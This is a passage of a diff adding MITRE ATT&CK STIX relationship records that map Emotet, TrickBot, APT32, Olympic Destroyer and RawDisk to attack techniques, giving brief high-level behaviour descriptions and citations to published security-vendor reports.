2019.", + "source_name": "US-CERT Emotet Jul 2018", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + }, + { + "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.", + "source_name": "Secureworks Emotet Nov 2018", + "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader" + }, + { + "description": "Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019.", + "source_name": "Red Canary Emotet Feb 2019", + "url": "https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[Emotet](https://attack.mitre.org/software/S0367) leverages the Admin$ share for lateral movement once the local admin password has been brute forced. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T19:23:01.984Z", + "id": "relationship--1bc150db-66ca-4361-84a2-2dd0f104790f", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.593Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.", + "source_name": "Malwarebytes Emotet Dec 2017", + "url": "https://support.malwarebytes.com/docs/DOC-2295" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed communicating over non standard ports, including 7080 and 50000.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T19:23:02.002Z", + "id": "relationship--8cc5a418-1956-4d64-a720-2258ad02533f", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.620Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Shulmin, A. . (2015, April 9). The Banking Trojan Emotet: Detailed Analysis. Retrieved March 25, 2019.", + "source_name": "Kaspersky Emotet Jan 2019", + "url": "https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/" + }, + { + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "source_name": "Picus Emotet Dec 2018", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + }, + { + "description": "Brandt, A.. (2019, May 5). Emotet 101, stage 4: command and control. Retrieved April 16, 2019.", + "source_name": "Sophos Emotet Apr 2019", + "url": "https://news.sophos.com/en-us/2019/03/05/emotet-101-stage-4-command-and-control/" + }, + { + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "source_name": "Talos Emotet Jan 2019", + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) is known to use RSA keys for encrypting C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T19:23:02.007Z", + "id": "relationship--095a259d-79c7-42b0-b65a-e423f110d187", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.616Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "source_name": "Trend Micro Emotet Jan 2019", + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been delivered by phishing emails containing links.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T19:23:02.037Z", + "id": "relationship--382b8780-edc3-477f-a7fa-3e6ba62397a2", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.858Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019.", + "source_name": "Trend Micro Banking Malware Jan 2019", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/" + }, + { + "description": "Shulmin, A. . (2015, April 9). The Banking Trojan Emotet: Detailed Analysis. Retrieved March 25, 2019.", + "source_name": "Kaspersky Emotet Jan 2019", + "url": "https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/" + }, + { + "description": "CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019.", + "source_name": "CIS Emotet Apr 2017", + "url": "https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/" + }, + { + "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.", + "source_name": "Malwarebytes Emotet Dec 2017", + "url": "https://support.malwarebytes.com/docs/DOC-2295" + }, + { + "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", + "source_name": "Symantec Emotet Jul 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor" + }, + { + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "source_name": "US-CERT Emotet Jul 2018", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + }, + { + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "source_name": "Talos Emotet Jan 2019", + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html" + }, + { + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "source_name": "Talos Emotet Jan 2019", + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html" + }, + { + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "source_name": "Picus Emotet Dec 2018", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been delivered by phishing emails containing attachments.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T19:23:02.065Z", + "id": "relationship--cc4f0b64-db39-4546-a5fc-a518ecc5438b", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.853Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019.", + "source_name": "CIS Emotet Apr 2017", + "url": "https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/" + }, + { + "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.", + "source_name": "Malwarebytes Emotet Dec 2017", + "url": "https://support.malwarebytes.com/docs/DOC-2295" + }, + { + "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", + "source_name": "Symantec Emotet Jul 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor" + }, + { + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "source_name": "US-CERT Emotet Jul 2018", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + }, + { + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "source_name": "Talos Emotet Jan 2019", + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html" + }, + { + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "source_name": "Trend Micro Emotet Jan 2019", + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf" + }, + { + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "source_name": "Picus Emotet Dec 2018", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + }, + { + "source_name": "Carbon Black Emotet Apr 2019", + "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.", + "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has used custom packers to protect its payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T19:23:02.071Z", + "id": "relationship--d4c5a3a8-203d-4201-80fa-48b5ac9a533f", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.864Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "source_name": "Trend Micro Emotet Jan 2019", + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has sent Microsoft Word documents with embedded macros that will invoke scripts to download additional payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T19:23:02.073Z", + "id": "relationship--88309efb-b366-4c4a-bd23-ba43b9f05c4c", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.625Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", + "source_name": "Symantec Emotet Jul 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor" + }, + { + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "source_name": "Talos Emotet Jan 2019", + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html" + }, + { + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "source_name": "Trend Micro Emotet Jan 2019", + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf" + }, + { + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "source_name": "Picus Emotet Dec 2018", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + }, + { + "source_name": "Carbon Black Emotet Apr 2019", + "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.", + "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) has used macros in Excel documents to download and deploy the malware on the user\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-28T14:45:51.183Z", + "id": "relationship--9fb5ad4c-1929-4d00-bd87-fed2558d73bf", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.921Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.", + "source_name": "TrendMicro Trickbot Feb 2019", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) has attempted to get users to launch a malicious Excel attachment to deliver its payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-28T14:45:51.193Z", + "id": "relationship--6b55eeb9-c7a1-4ff5-b8ef-f114e3a1b75a", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.913Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.", + "source_name": "TrendMicro Trickbot Feb 2019", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has relied upon users clicking on a malicious link or attachment delivered through spearphishing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-29T13:56:52.432Z", + "id": "relationship--90b7c9e6-53db-4656-a5ee-f8056a8d6ef7", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.862Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019.", + "source_name": "Trend Micro Banking Malware Jan 2019", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/" + }, + { + "source_name": "Carbon Black Emotet Apr 2019", + "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.", + "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-29T16:43:59.192Z", + "id": "relationship--702f03db-1562-425c-a146-225ea3f573f5", + "source_ref": "course-of-action--0b3ee33e-430b-476f-9525-72d120c90f8d", + "modified": "2019-08-17T12:11:26.235Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7", + "description": "[RawDisk](https://attack.mitre.org/software/S0364) has been used to directly access the hard disk to help overwrite arbitrarily sized portions of disk content.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-29T16:48:43.877Z", + "id": "relationship--7fa1a7c8-0dfb-4bd5-a34f-509ba24da5be", + "source_ref": "tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079", + "modified": "2019-04-19T19:04:56.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "source_name": "Novetta Blockbuster Destructive Malware", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed encrypting the data it collects before sending it to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-01T15:06:38.851Z", + "id": "relationship--088ed15f-46da-4b32-a182-68553c61f09b", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.614Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fortinet Emotet May 2017", + "description": "Xiaopeng Zhang. (2017, May 3). Deep Analysis of New Emotet Variant \u2013 Part 1. Retrieved April 1, 2019.", + "url": "https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-1.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[APT32](https://attack.mitre.org/groups/G0050) backdoor can use HTTP over an uncommon TCP port (e.g 14146) which is specified in the backdoor configuration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-01T21:09:50.268Z", + "id": "relationship--f1492f41-c3fb-4231-9a18-a90334aa3234", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.720Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used RTF document that includes an exploit to execute malicious code. (CVE-2017-11882)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-01T21:09:50.292Z", + "id": "relationship--e2048373-fe76-4f99-8608-60eaa05d1b2b", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.730Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor has exfiltrated data using the already opened channel with its C&C server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-01T21:09:50.295Z", + "id": "relationship--6dc0069c-5e6a-474f-946d-cc1cd13bc486", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.717Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[APT32](https://attack.mitre.org/groups/G0050) backdoors have encrypted data before exfiltration, including by using RC4 encryption.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-01T21:09:50.304Z", + "id": "relationship--c33aa1c2-a077-4750-9716-9ca9205eb9a2", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.727Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + }, + { + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "source_name": "ESET OceanLotus macOS April 2019", + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor possesses the capability to list files and directories on a machine.\t\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-01T21:09:50.332Z", + "id": "relationship--a933bad9-0f92-4a25-9b46-19120737caee", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.731Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor can query the Windows Registry to gather system information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-01T21:09:50.335Z", + "id": "relationship--46144407-0f14-4358-8d4e-23b3ef13cb4e", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.735Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor has used LZMA compression before exfiltration.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-01T21:09:50.338Z", + "id": "relationship--7723037f-0b2e-447b-811a-d18a109570bb", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.704Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor has modified the Windows Registry to store the backdoor's configuration.\t\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-01T21:09:50.380Z", + "id": "relationship--76d2d007-1adb-4e04-8e79-dbd799ff57ef", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.733Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor has used Windows services as a way to execute its malicious payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-01T21:09:50.383Z", + "id": "relationship--a491cb90-9480-450b-9a57-55b95b249d31", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.970Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses the API call ChangeServiceConfigW to disable all services on the affected system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-02T12:54:53.886Z", + "id": "relationship--24af852e-f761-4c75-8aa0-edc3198bd7eb", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "modified": "2019-06-30T23:07:54.138Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses the native Windows utilities vssadmin, wbadmin, and bcdedit to delete and disable operating system recovery features such as the Windows backup catalog and Windows Automatic Repair.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-02T15:58:12.348Z", + "id": "relationship--e4c2c54e-3980-45a4-92cb-c0d99bc0a428", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "modified": "2019-06-30T23:07:54.151Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": 